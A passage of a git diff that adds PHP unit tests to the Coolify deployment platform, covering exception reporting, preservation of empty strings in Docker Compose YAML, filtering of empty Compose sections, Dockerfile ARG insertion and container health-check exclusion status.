+    $filename = $reflection->getFileName();
+    $startLine = $failedMethod->getStartLine();
+    $endLine = $failedMethod->getEndLine();
+
+    $source = file($filename);
+    $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+    // Verify try-catch around event dispatch
+    expect($methodSource)
+        ->toContain('try {')
+        ->and($methodSource)->toContain('} catch (\Throwable $e) {')
+        ->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
+});
+
+it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
+    $reflection = new ReflectionClass(CoolifyTask::class);
+    $constructor = $reflection->getConstructor();
+
+    // Get constructor parameters
+    $parameters = $constructor->getParameters();
+    $paramNames = array_map(fn ($p) => $p->getName(), $parameters);
+
+    // Verify both parameters exist
+    expect($paramNames)
+        ->toContain('call_event_on_finish')
+        ->and($paramNames)->toContain('call_event_data');
+
+    // Verify they are public properties (constructor property promotion)
+    expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
+    expect($reflection->hasProperty('call_event_data'))->toBeTrue();
+});
diff --git a/tests/Unit/DeploymentExceptionTest.php b/tests/Unit/DeploymentExceptionTest.php
new file mode 100644
index 000000000..5dd448df4
--- /dev/null
+++ b/tests/Unit/DeploymentExceptionTest.php
@@ -0,0 +1,71 @@
+<?php
+
+use App\Exceptions\DeploymentException;
+use App\Exceptions\Handler;
+
+test('DeploymentException is in the dontReport array', function () {
+    $handler = new Handler(app());
+
+    // Use reflection to access the protected $dontReport property
+    $reflection = new ReflectionClass($handler);
+    $property = $reflection->getProperty('dontReport');
+    $property->setAccessible(true);
+    $dontReport = $property->getValue($handler);
+
+    expect($dontReport)->toContain(DeploymentException::class);
+});
+
+test('DeploymentException can be created with a message', function () {
+    $exception = new DeploymentException('Test deployment error');
+
+    expect($exception->getMessage())->toBe('Test deployment error');
+    expect($exception)->toBeInstanceOf(Exception::class);
+});
+
+test('DeploymentException can be created with a message and code', function () {
+    $exception = new DeploymentException('Test error', 69420);
+
+    expect($exception->getMessage())->toBe('Test error');
+    expect($exception->getCode())->toBe(69420);
+});
+
+test('DeploymentException can be created from another exception', function () {
+    $originalException = new RuntimeException('Original error', 500);
+    $deploymentException = DeploymentException::fromException($originalException);
+
+    expect($deploymentException->getMessage())->toBe('Original error');
+    expect($deploymentException->getCode())->toBe(500);
+    expect($deploymentException->getPrevious())->toBe($originalException);
+});
+
+test('DeploymentException is not reported when thrown', function () {
+    $handler = new Handler(app());
+
+    // DeploymentException should not be reported (logged)
+    $exception = new DeploymentException('Test deployment failure');
+
+    // Check that the exception should not be reported
+    $reflection = new ReflectionClass($handler);
+    $method = $reflection->getMethod('shouldReport');
+    $method->setAccessible(true);
+
+    $shouldReport = $method->invoke($handler, $exception);
+
+    expect($shouldReport)->toBeFalse();
+});
+
+test('RuntimeException is still reported when thrown', function () {
+    $handler = new Handler(app());
+
+    // RuntimeException should still be reported (this is for Coolify bugs)
+    $exception = new RuntimeException('Unexpected error in Coolify code');
+
+    // Check that the exception should be reported
+    $reflection = new ReflectionClass($handler);
+    $method = $reflection->getMethod('shouldReport');
+    $method->setAccessible(true);
+
+    $shouldReport = $method->invoke($handler, $exception);
+
+    expect($shouldReport)->toBeTrue();
+});
diff --git a/tests/Unit/DockerComposeEmptyStringPreservationTest.php b/tests/Unit/DockerComposeEmptyStringPreservationTest.php
new file mode 100644
index 000000000..df654f2ea
--- /dev/null
+++ b/tests/Unit/DockerComposeEmptyStringPreservationTest.php
@@ -0,0 +1,296 @@
+<?php
+
+use Symfony\Component\Yaml\Yaml;
+
+/**
+ * Unit tests to verify that environment variables with empty strings
+ * in Docker Compose files are preserved as empty strings, not converted to null.
+ *
+ * This is important because empty strings and null have different semantics in Docker:
+ * - Empty string: Variable is set to "" (e.g., HTTP_PROXY="" means "no proxy")
+ * - Null: Variable is unset/removed from container environment
+ *
+ * See: https://github.com/coollabsio/coolify/issues/7126
+ */
+it('ensures parsers.php preserves empty strings in application parser', function () {
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Find the applicationParser function's environment mapping logic
+    $hasApplicationParser = str_contains($parsersFile, 'function applicationParser(');
+    expect($hasApplicationParser)->toBeTrue('applicationParser function should exist');
+
+    // The code should distinguish between null and empty string
+    // Check for the pattern where we explicitly check for null vs empty string
+    $hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
+    $hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
+
+    expect($hasNullCheck)->toBeTrue('Should have explicit null check');
+    expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
+});
+
+it('ensures parsers.php preserves empty strings in service parser', function () {
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Find the serviceParser function's environment mapping logic
+    $hasServiceParser = str_contains($parsersFile, 'function serviceParser(');
+    expect($hasServiceParser)->toBeTrue('serviceParser function should exist');
+
+    // The code should distinguish between null and empty string
+    // Same check as application parser
+    $hasNullCheck = str_contains($parsersFile, 'if ($value === null)');
+    $hasEmptyStringCheck = str_contains($parsersFile, "} elseif (\$value === '') {");
+
+    expect($hasNullCheck)->toBeTrue('Should have explicit null check');
+    expect($hasEmptyStringCheck)->toBeTrue('Should have explicit empty string check');
+});
+
+it('verifies YAML parsing preserves empty strings correctly', function () {
+    // Test that Symfony YAML parser handles empty strings as we expect
+    $yamlWithEmptyString = <<<'YAML'
+environment:
+  HTTP_PROXY: ""
+  HTTPS_PROXY: ''
+  NO_PROXY: "localhost"
+YAML;
+
+    $parsed = Yaml::parse($yamlWithEmptyString);
+
+    // Empty strings should remain as empty strings, not null
+    expect($parsed['environment']['HTTP_PROXY'])->toBe('');
+    expect($parsed['environment']['HTTPS_PROXY'])->toBe('');
+    expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
+});
+
+it('verifies YAML parsing handles null values correctly', function () {
+    // Test that null values are preserved as null
+    $yamlWithNull = <<<'YAML'
+environment:
+  HTTP_PROXY: null
+  HTTPS_PROXY:
+  NO_PROXY: "localhost"
+YAML;
+
+    $parsed = Yaml::parse($yamlWithNull);
+
+    // Null should remain null
+    expect($parsed['environment']['HTTP_PROXY'])->toBeNull();
+    expect($parsed['environment']['HTTPS_PROXY'])->toBeNull();
+    expect($parsed['environment']['NO_PROXY'])->toBe('localhost');
+});
+
+it('verifies YAML serialization preserves empty strings', function () {
+    // Test that empty strings serialize back correctly
+    $data = [
+        'environment' => [
+            'HTTP_PROXY' => '',
+            'HTTPS_PROXY' => '',
+            'NO_PROXY' => 'localhost',
+        ],
+    ];
+
+    $yaml = Yaml::dump($data, 10, 2);
+
+    // Empty strings should be serialized with quotes
+    expect($yaml)->toContain("HTTP_PROXY: ''");
+    expect($yaml)->toContain("HTTPS_PROXY: ''");
+    expect($yaml)->toContain('NO_PROXY: localhost');
+
+    // Should NOT contain "null"
+    expect($yaml)->not->toContain('HTTP_PROXY: null');
+});
+
+it('verifies YAML serialization handles null values', function () {
+    // Test that null values serialize as null
+    $data = [
+        'environment' => [
+            'HTTP_PROXY' => null,
+            'HTTPS_PROXY' => null,
+            'NO_PROXY' => 'localhost',
+        ],
+    ];
+
+    $yaml = Yaml::dump($data, 10, 2);
+
+    // Null should be serialized as "null"
+    expect($yaml)->toContain('HTTP_PROXY: null');
+    expect($yaml)->toContain('HTTPS_PROXY: null');
+    expect($yaml)->toContain('NO_PROXY: localhost');
+
+    // Should NOT contain empty quotes for null values
+    expect($yaml)->not->toContain("HTTP_PROXY: ''");
+});
+
+it('verifies empty string round-trip through YAML', function () {
+    // Test full round-trip: empty string -> YAML -> parse -> serialize -> parse
+    $original = [
+        'environment' => [
+            'HTTP_PROXY' => '',
+            'NO_PROXY' => 'localhost',
+        ],
+    ];
+
+    // Serialize to YAML
+    $yaml1 = Yaml::dump($original, 10, 2);
+
+    // Parse back
+    $parsed1 = Yaml::parse($yaml1);
+
+    // Verify empty string is preserved
+    expect($parsed1['environment']['HTTP_PROXY'])->toBe('');
+    expect($parsed1['environment']['NO_PROXY'])->toBe('localhost');
+
+    // Serialize again
+    $yaml2 = Yaml::dump($parsed1, 10, 2);
+
+    // Parse again
+    $parsed2 = Yaml::parse($yaml2);
+
+    // Should still be empty string, not null
+    expect($parsed2['environment']['HTTP_PROXY'])->toBe('');
+    expect($parsed2['environment']['NO_PROXY'])->toBe('localhost');
+
+    // Both YAML representations should be equivalent
+    expect($yaml1)->toBe($yaml2);
+});
+
+it('verifies str()->isEmpty() behavior with empty strings and null', function () {
+    // Test Laravel's str()->isEmpty() helper behavior
+
+    // Empty string should be considered empty
+    expect(str('')->isEmpty())->toBeTrue();
+
+    // Null should be considered empty
+    expect(str(null)->isEmpty())->toBeTrue();
+
+    // String with content should not be empty
+    expect(str('value')->isEmpty())->toBeFalse();
+
+    // This confirms that we need additional logic to distinguish
+    // between empty string ('') and null, since both are "isEmpty"
+});
+
+it('verifies the distinction between empty string and null in PHP', function () {
+    // Document PHP's behavior for empty strings vs null
+
+    $emptyString = '';
+    $nullValue = null;
+
+    // They are different values
+    expect($emptyString === $nullValue)->toBeFalse();
+
+    // Empty string is not null
+    expect($emptyString === '')->toBeTrue();
+    expect($nullValue === null)->toBeTrue();
+
+    // isset() treats them differently
+    $arrayWithEmpty = ['key' => ''];
+    $arrayWithNull = ['key' => null];
+
+    expect(isset($arrayWithEmpty['key']))->toBeTrue();
+    expect(isset($arrayWithNull['key']))->toBeFalse();
+});
+
+it('verifies YAML null syntax options all produce PHP null', function () {
+    // Test all three ways to write null in YAML
+    $yamlWithNullSyntax = <<<'YAML'
+environment:
+  VAR_NO_VALUE:
+  VAR_EXPLICIT_NULL: null
+  VAR_TILDE: ~
+  VAR_EMPTY_STRING: ""
+YAML;
+
+    $parsed = Yaml::parse($yamlWithNullSyntax);
+
+    // All three null syntaxes should produce PHP null
+    expect($parsed['environment']['VAR_NO_VALUE'])->toBeNull();
+    expect($parsed['environment']['VAR_EXPLICIT_NULL'])->toBeNull();
+    expect($parsed['environment']['VAR_TILDE'])->toBeNull();
+
+    // Empty string should remain empty string
+    expect($parsed['environment']['VAR_EMPTY_STRING'])->toBe('');
+});
+
+it('verifies null round-trip through YAML', function () {
+    // Test full round-trip: null -> YAML -> parse -> serialize -> parse
+    $original = [
+        'environment' => [
+            'NULL_VAR' => null,
+            'EMPTY_VAR' => '',
+            'VALUE_VAR' => 'localhost',
+        ],
+    ];
+
+    // Serialize to YAML
+    $yaml1 = Yaml::dump($original, 10, 2);
+
+    // Parse back
+    $parsed1 = Yaml::parse($yaml1);
+
+    // Verify types are preserved
+    expect($parsed1['environment']['NULL_VAR'])->toBeNull();
+    expect($parsed1['environment']['EMPTY_VAR'])->toBe('');
+    expect($parsed1['environment']['VALUE_VAR'])->toBe('localhost');
+
+    // Serialize again
+    $yaml2 = Yaml::dump($parsed1, 10, 2);
+
+    // Parse again
+    $parsed2 = Yaml::parse($yaml2);
+
+    // Should still have correct types
+    expect($parsed2['environment']['NULL_VAR'])->toBeNull();
+    expect($parsed2['environment']['EMPTY_VAR'])->toBe('');
+    expect($parsed2['environment']['VALUE_VAR'])->toBe('localhost');
+
+    // Both YAML representations should be equivalent
+    expect($yaml1)->toBe($yaml2);
+});
+
+it('verifies null vs empty string behavior difference', function () {
+    // Document the critical difference between null and empty string
+
+    // Null in YAML
+    $yamlNull = "VAR: null\n";
+    $parsedNull = Yaml::parse($yamlNull);
+    expect($parsedNull['VAR'])->toBeNull();
+
+    // Empty string in YAML
+    $yamlEmpty = "VAR: \"\"\n";
+    $parsedEmpty = Yaml::parse($yamlEmpty);
+    expect($parsedEmpty['VAR'])->toBe('');
+
+    // They should NOT be equal
+    expect($parsedNull['VAR'] === $parsedEmpty['VAR'])->toBeFalse();
+
+    // Verify type differences
+    expect(is_null($parsedNull['VAR']))->toBeTrue();
+    expect(is_string($parsedEmpty['VAR']))->toBeTrue();
+});
+
+it('verifies parser logic distinguishes null from empty string', function () {
+    // Test the exact === comparison behavior
+    $nullValue = null;
+    $emptyString = '';
+
+    // PHP strict comparison
+    expect($nullValue === null)->toBeTrue();
+    expect($emptyString === '')->toBeTrue();
+    expect($nullValue === $emptyString)->toBeFalse();
+
+    // This is what the parser should use for correct behavior
+    if ($nullValue === null) {
+        $nullHandled = true;
+    } else {
+        $nullHandled = false;
+    }
+
+    if ($emptyString === '') {
+        $emptyHandled = true;
+    } else {
+        $emptyHandled = false;
+    }
+
+    expect($nullHandled)->toBeTrue();
+    expect($emptyHandled)->toBeTrue();
+});
diff --git a/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php b/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php
new file mode 100644
index 000000000..bfd674053
--- /dev/null
+++ b/tests/Unit/DockerComposeEmptyTopLevelSectionsTest.php
@@ -0,0 +1,194 @@
+<?php
+
+use Symfony\Component\Yaml\Yaml;
+
+/**
+ * Unit tests to verify that empty top-level sections (volumes, configs, secrets)
+ * are removed from generated Docker Compose files.
+ *
+ * Empty sections like "volumes: {  }" are not valid/clean YAML and should be omitted
+ * when they contain no actual content.
+ */
+it('ensures parsers.php filters empty top-level sections', function () {
+    $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+    // Check that filtering logic exists
+    expect($parsersFile)
+        ->toContain('Remove empty top-level sections')
+        ->toContain('->filter(function ($value, $key)');
+});
+
+it('verifies YAML dump produces empty objects for empty arrays', function () {
+    // Demonstrate the problem: empty arrays serialize as empty objects
+    $data = [
+        'services' => ['web' => ['image' => 'nginx']],
+        'volumes' => [],
+        'configs' => [],
+        'secrets' => [],
+    ];
+
+    $yaml = Yaml::dump($data, 10, 2);
+
+    // Empty arrays become empty objects in YAML
+    expect($yaml)->toContain('volumes: {  }');
+    expect($yaml)->toContain('configs: {  }');
+    expect($yaml)->toContain('secrets: {  }');
+});
+
+it('verifies YAML dump omits keys that are not present', function () {
+    // Demonstrate the solution: omit empty keys entirely
+    $data = [
+        'services' => ['web' => ['image' => 'nginx']],
+        // Don't include volumes, configs, secrets at all
+    ];
+
+    $yaml = Yaml::dump($data, 10, 2);
+
+    // Keys that don't exist are not in the output
+    expect($yaml)->not->toContain('volumes:');
+    expect($yaml)->not->toContain('configs:');
+    expect($yaml)->not->toContain('secrets:');
+    expect($yaml)->toContain('services:');
+});
+
+it('verifies collection filter removes empty items', function () {
+    // Test Laravel Collection filter behavior
+    $collection = collect([
+        'services' => collect(['web' => ['image' => 'nginx']]),
+        'volumes' => collect([]),
+        'networks' => collect(['coolify' => ['external' => true]]),
+        'configs' => collect([]),
+        'secrets' => collect([]),
+    ]);
+
+    $filtered = $collection->filter(function ($value, $key) {
+        // Always keep services
+        if ($key === 'services') {
+            return true;
+        }
+
+        // Keep only non-empty collections
+        return $value->isNotEmpty();
+    });
+
+    // Should have services and networks (non-empty)
+    expect($filtered)->toHaveKey('services');
+    expect($filtered)->toHaveKey('networks');
+
+    // Should NOT have volumes, configs, secrets (empty)
+    expect($filtered)->not->toHaveKey('volumes');
+    expect($filtered)->not->toHaveKey('configs');
+    expect($filtered)->not->toHaveKey('secrets');
+});
+
+it('verifies filtered collections serialize cleanly to YAML', function () {
+    // Full test: filter then serialize
+    $collection = collect([
+        'services' => collect(['web' => ['image' => 'nginx']]),
+        'volumes' => collect([]),
+        'networks' => collect(['coolify' => ['external' => true]]),
+        'configs' => collect([]),
+        'secrets' => collect([]),
+    ]);
+
+    $filtered = $collection->filter(function ($value, $key) {
+        if ($key === 'services') {
+            return true;
+        }
+
+        return $value->isNotEmpty();
+    });
+
+    $yaml = Yaml::dump($filtered->toArray(), 10, 2);
+
+    // Should have services and networks
+    expect($yaml)->toContain('services:');
+    expect($yaml)->toContain('networks:');
+
+    // Should NOT have empty sections
+    expect($yaml)->not->toContain('volumes:');
+    expect($yaml)->not->toContain('configs:');
+    expect($yaml)->not->toContain('secrets:');
+});
+
+it('ensures services section is always kept even if empty', function () {
+    // Services should never be filtered out
+    $collection = collect([
+        'services' => collect([]),
+        'volumes' => collect([]),
+    ]);
+
+    $filtered = $collection->filter(function ($value, $key) {
+        if ($key === 'services') {
+            return true; // Always keep
+        }
+
+        return $value->isNotEmpty();
+    });
+
+    // Services should be present
+    expect($filtered)->toHaveKey('services');
+
+    // Volumes should be removed
+    expect($filtered)->not->toHaveKey('volumes');
+});
+
+it('verifies non-empty sections are preserved', function () {
+    // Non-empty sections should remain
+    $collection = collect([
+        'services' => collect(['web' => ['image' => 'nginx']]),
+        'volumes' => collect(['data' => ['driver' => 'local']]),
+        'networks' => collect(['coolify' => ['external' => true]]),
+        'configs' => collect(['app_config' => ['file' => './config']]),
+        'secrets' => collect(['db_password' => ['file' => './secret']]),
+    ]);
+
+    $filtered = $collection->filter(function ($value, $key) {
+        if ($key === 'services') {
+            return true;
+        }
+
+        return $value->isNotEmpty();
+    });
+
+    // All sections should be present (none are empty)
+    expect($filtered)->toHaveKey('services');
+    expect($filtered)->toHaveKey('volumes');
+    expect($filtered)->toHaveKey('networks');
+    expect($filtered)->toHaveKey('configs');
+    expect($filtered)->toHaveKey('secrets');
+
+    // Count should be 5 (all original keys)
+    expect($filtered->count())->toBe(5);
+});
+
+it('verifies mixed empty and non-empty sections', function () {
+    // Mixed scenario: some empty, some not
+    $collection = collect([
+        'services' => collect(['web' => ['image' => 'nginx']]),
+        'volumes' => collect([]), // Empty
+        'networks' => collect(['coolify' => ['external' => true]]), // Not empty
+        'configs' => collect([]), // Empty
+        'secrets' => collect(['db_password' => ['file' => './secret']]), // Not empty
+    ]);
+
+    $filtered = $collection->filter(function ($value, $key) {
+        if ($key === 'services') {
+            return true;
+        }
+
+        return $value->isNotEmpty();
+    });
+
+    // Should have: services, networks, secrets
+    expect($filtered)->toHaveKey('services');
+    expect($filtered)->toHaveKey('networks');
+    expect($filtered)->toHaveKey('secrets');
+
+    // Should NOT have: volumes, configs
+    expect($filtered)->not->toHaveKey('volumes');
+    expect($filtered)->not->toHaveKey('configs');
+
+    // Count should be 3
+    expect($filtered->count())->toBe(3);
+});
diff --git a/tests/Unit/DockerfileArgInsertionTest.php b/tests/Unit/DockerfileArgInsertionTest.php
new file mode 100644
index 000000000..593f09145
--- /dev/null
+++ b/tests/Unit/DockerfileArgInsertionTest.php
@@ -0,0 +1,218 @@
+<?php
+
+use App\Jobs\ApplicationDeploymentJob;
+
+/**
+ * Test the Dockerfile ARG insertion logic
+ * This tests the fix for GitHub issue #7118
+ */
+it('finds FROM instructions in simple dockerfile', function () {
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $dockerfile = collect([
+        'FROM node:16',
+        'WORKDIR /app',
+        'COPY . .',
+    ]);
+
+    $result = $job->findFromInstructionLines($dockerfile);
+
+    expect($result)->toBe([0]);
+});
+
+it('finds FROM instructions with comments before', function () {
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $dockerfile = collect([
+        '# Build stage',
+        '# Another comment',
+        'FROM node:16',
+        'WORKDIR /app',
+    ]);
+
+    $result = $job->findFromInstructionLines($dockerfile);
+
+    expect($result)->toBe([2]);
+});
+
+it('finds multiple FROM instructions in multi-stage dockerfile', function () {
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $dockerfile = collect([
+        'FROM node:16 AS builder',
+        'WORKDIR /app',
+        'RUN npm install',
+        '',
+        'FROM nginx:alpine',
+        'COPY --from=builder /app/dist /usr/share/nginx/html',
+    ]);
+
+    $result = $job->findFromInstructionLines($dockerfile);
+
+    expect($result)->toBe([0, 4]);
+});
+
+it('handles FROM with different cases', function () {
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $dockerfile = collect([
+        'from node:16',
+        'From nginx:alpine',
+        'FROM alpine:latest',
+    ]);
+
+    $result = $job->findFromInstructionLines($dockerfile);
+
+    expect($result)->toBe([0, 1, 2]);
+});
+
+it('returns empty array when no FROM instructions found', function () {
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $dockerfile = collect([
+        '# Just comments',
+        'WORKDIR /app',
+        'RUN npm install',
+    ]);
+
+    $result = $job->findFromInstructionLines($dockerfile);
+
+    expect($result)->toBe([]);
+});
+
+it('inserts ARGs after FROM in simple dockerfile', function () {
+    $dockerfile = collect([
+        'FROM node:16',
+        'WORKDIR /app',
+        'COPY . .',
+    ]);
+
+    $fromLines = [0];
+    $argsToInsert = collect(['ARG MY_VAR=value', 'ARG ANOTHER_VAR']);
+
+    foreach (array_reverse($fromLines) as $fromLineIndex) {
+        foreach ($argsToInsert->reverse() as $arg) {
+            $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
+        }
+    }
+
+    expect($dockerfile[0])->toBe('FROM node:16');
+    expect($dockerfile[1])->toBe('ARG MY_VAR=value');
+    expect($dockerfile[2])->toBe('ARG ANOTHER_VAR');
+    expect($dockerfile[3])->toBe('WORKDIR /app');
+});
+
+it('inserts ARGs after each FROM in multi-stage dockerfile', function () {
+    $dockerfile = collect([
+        'FROM node:16 AS builder',
+        'WORKDIR /app',
+        '',
+        'FROM nginx:alpine',
+        'COPY --from=builder /app/dist /usr/share/nginx/html',
+    ]);
+
+    $fromLines = [0, 3];
+    $argsToInsert = collect(['ARG MY_VAR=value']);
+
+    foreach (array_reverse($fromLines) as $fromLineIndex) {
+        foreach ($argsToInsert->reverse() as $arg) {
+            $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
+        }
+    }
+
+    // First stage
+    expect($dockerfile[0])->toBe('FROM node:16 AS builder');
+    expect($dockerfile[1])->toBe('ARG MY_VAR=value');
+    expect($dockerfile[2])->toBe('WORKDIR /app');
+
+    // Second stage (index shifted by +1 due to inserted ARG)
+    expect($dockerfile[4])->toBe('FROM nginx:alpine');
+    expect($dockerfile[5])->toBe('ARG MY_VAR=value');
+});
+
+it('inserts ARGs after FROM when comments precede FROM', function () {
+    $dockerfile = collect([
+        '# Build stage comment',
+        'FROM node:16',
+        'WORKDIR /app',
+    ]);
+
+    $fromLines = [1];
+    $argsToInsert = collect(['ARG MY_VAR=value']);
+
+    foreach (array_reverse($fromLines) as $fromLineIndex) {
+        foreach ($argsToInsert->reverse() as $arg) {
+            $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
+        }
+    }
+
+    expect($dockerfile[0])->toBe('# Build stage comment');
+    expect($dockerfile[1])->toBe('FROM node:16');
+    expect($dockerfile[2])->toBe('ARG MY_VAR=value');
+    expect($dockerfile[3])->toBe('WORKDIR /app');
+});
+
+it('handles real-world nuxt multi-stage dockerfile with comments', function () {
+    $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
+
+    $dockerfile = collect([
+        '# Build Stage 1',
+        '',
+        'FROM node:22-alpine AS build',
+        'WORKDIR /app',
+        '',
+        'RUN corepack enable',
+        '',
+        '# Copy package.json and your lockfile, here we add pnpm-lock.yaml for illustration',
+        'COPY package.json pnpm-lock.yaml .npmrc ./',
+        '',
+        '# Install dependencies',
+        'RUN pnpm i',
+        '',
+        '# Copy the entire project',
+        'COPY . ./',
+        '',
+        '# Build the project',
+        'RUN pnpm run build',
+        '',
+        '# Build Stage 2',
+        '',
+        'FROM node:22-alpine',
+        'WORKDIR /app',
+        '',
+        '# Only `.output` folder is needed from the build stage',
+        'COPY --from=build /app/.output/ ./',
+        '',
+        '# Change the port and host',
+        'ENV PORT=80',
+        'ENV HOST=0.0.0.0',
+        '',
+        'EXPOSE 80',
+        '',
+        'CMD ["node", "/app/server/index.mjs"]',
+    ]);
+
+    // Find FROM instructions
+    $fromLines = $job->findFromInstructionLines($dockerfile);
+
+    expect($fromLines)->toBe([2, 21]);
+
+    // Simulate ARG insertion
+    $argsToInsert = collect(['ARG BUILD_VAR=production']);
+
+    foreach (array_reverse($fromLines) as $fromLineIndex) {
+        foreach ($argsToInsert->reverse() as $arg) {
+            $dockerfile->splice($fromLineIndex + 1, 0, [$arg]);
+        }
+    }
+
+    // Verify first stage
+    expect($dockerfile[2])->toBe('FROM node:22-alpine AS build');
+    expect($dockerfile[3])->toBe('ARG BUILD_VAR=production');
+    expect($dockerfile[4])->toBe('WORKDIR /app');
+
+    // Verify second stage (index shifted by +1 due to first ARG insertion)
+    expect($dockerfile[22])->toBe('FROM node:22-alpine');
+    expect($dockerfile[23])->toBe('ARG BUILD_VAR=production');
+    expect($dockerfile[24])->toBe('WORKDIR /app');
+});
diff --git a/tests/Unit/EnvVarInputComponentTest.php b/tests/Unit/EnvVarInputComponentTest.php
new file mode 100644
index 000000000..f4fc8bcb5
--- /dev/null
+++ b/tests/Unit/EnvVarInputComponentTest.php
@@ -0,0 +1,67 @@
+<?php
+
+use App\View\Components\Forms\EnvVarInput;
+
+it('renders with default properties', function () {
+    $component = new EnvVarInput;
+
+    expect($component->required)->toBeFalse()
+        ->and($component->disabled)->toBeFalse()
+        ->and($component->readonly)->toBeFalse()
+        ->and($component->defaultClass)->toBe('input')
+        ->and($component->availableVars)->toBe([]);
+});
+
+it('uses provided id', function () {
+    $component = new EnvVarInput(id: 'env-key');
+
+    expect($component->id)->toBe('env-key');
+});
+
+it('accepts available vars', function () {
+    $vars = [
+        'team' => ['DATABASE_URL', 'API_KEY'],
+        'project' => ['STRIPE_KEY'],
+        'environment' => ['DEBUG'],
+    ];
+
+    $component = new EnvVarInput(availableVars: $vars);
+
+    expect($component->availableVars)->toBe($vars);
+});
+
+it('accepts required parameter', function () {
+    $component = new EnvVarInput(required: true);
+
+    expect($component->required)->toBeTrue();
+});
+
+it('accepts disabled state', function () {
+    $component = new EnvVarInput(disabled: true);
+
+    expect($component->disabled)->toBeTrue();
+});
+
+it('accepts readonly state', function () {
+    $component = new EnvVarInput(readonly: true);
+
+    expect($component->readonly)->toBeTrue();
+});
+
+it('accepts autofocus parameter', function () {
+    $component = new EnvVarInput(autofocus: true);
+
+    expect($component->autofocus)->toBeTrue();
+});
+
+it('accepts authorization properties', function () {
+    $component = new EnvVarInput(
+        canGate: 'update',
+        canResource: 'resource',
+        autoDisable: false
+    );
+
+    expect($component->canGate)->toBe('update')
+        ->and($component->canResource)->toBe('resource')
+        ->and($component->autoDisable)->toBeFalse();
+});
diff --git a/tests/Unit/ExcludeFromHealthCheckTest.php b/tests/Unit/ExcludeFromHealthCheckTest.php
new file mode 100644
index 000000000..6776d09b7
--- /dev/null
+++ b/tests/Unit/ExcludeFromHealthCheckTest.php
@@ -0,0 +1,151 @@
+<?php
+
+/**
+ * Unit tests to verify that applications and services with all containers
+ * excluded from health checks (exclude_from_hc: true) show correct status.
+ *
+ * These tests verify the fix for the issue where services with all containers
+ * excluded would show incorrect status, causing broken UI state.
+ *
+ * The fix now returns status with :excluded suffix to show real container state
+ * while indicating monitoring is disabled (e.g., "running:excluded").
+ */
+it('ensures ComplexStatusCheck returns excluded status when all containers excluded', function () {
+    $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
+
+    // Check that when all containers are excluded, ComplexStatusCheck uses the trait
+    expect($complexStatusCheckFile)
+        ->toContain('// If all containers are excluded, calculate status from excluded containers')
+        ->toContain('// but mark it with :excluded to indicate monitoring is disabled')
+        ->toContain('if ($relevantContainers->isEmpty()) {')
+        ->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
+
+    // Check that the trait uses ContainerStatusAggregator and appends :excluded suffix
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+    expect($traitFile)
+        ->toContain('ContainerStatusAggregator')
+        ->toContain('appendExcludedSuffix')
+        ->toContain('$aggregator->aggregateFromContainers($excludedOnly)')
+        ->toContain("return 'degraded:excluded';")
+        ->toContain("return 'paused:excluded';")
+        ->toContain("return 'exited';")
+        ->toContain('return "$status:excluded";'); // For running:healthy:excluded
+});
+
+it('ensures Service model returns excluded status when all services excluded', function () {
+    $serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
+
+    // Check that when all services are excluded from status checks,
+    // the Service model calculates real status and returns it with :excluded suffix
+    expect($serviceModelFile)
+        ->toContain('exclude_from_status')
+        ->toContain(':excluded')
+        ->toContain('CalculatesExcludedStatus');
+});
+
+it('ensures Service model returns unknown:unknown:excluded when no containers exist', function () {
+    $serviceModelFile = file_get_contents(__DIR__.'/../../app/Models/Service.php');
+
+    // Check that when a service has no applications or databases at all,
+    // the Service model returns 'unknown:unknown:excluded' instead of 'exited'
+    // This prevents misleading status display when containers don't exist
+    expect($serviceModelFile)
+        ->toContain('// If no status was calculated at all (no containers exist), return unknown')
+        ->toContain('if ($excludedStatus === null && $excludedHealth === null) {')
+        ->toContain("return 'unknown:unknown:excluded';");
+});
+
+it('ensures GetContainersStatus calculates excluded status when all containers excluded', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Check that when all containers are excluded, the aggregateApplicationStatus
+    // method calculates and returns status with :excluded suffix
+    expect($getContainersStatusFile)
+        ->toContain('// If all containers are excluded, calculate status from excluded containers')
+        ->toContain('if ($relevantStatuses->isEmpty()) {')
+        ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
+});
+
+it('ensures exclude_from_hc flag is properly checked in ComplexStatusCheck', function () {
+    $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
+
+    // Verify that exclude_from_hc is parsed using trait helper
+    expect($complexStatusCheckFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+});
+
+it('ensures exclude_from_hc flag is properly checked in GetContainersStatus', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
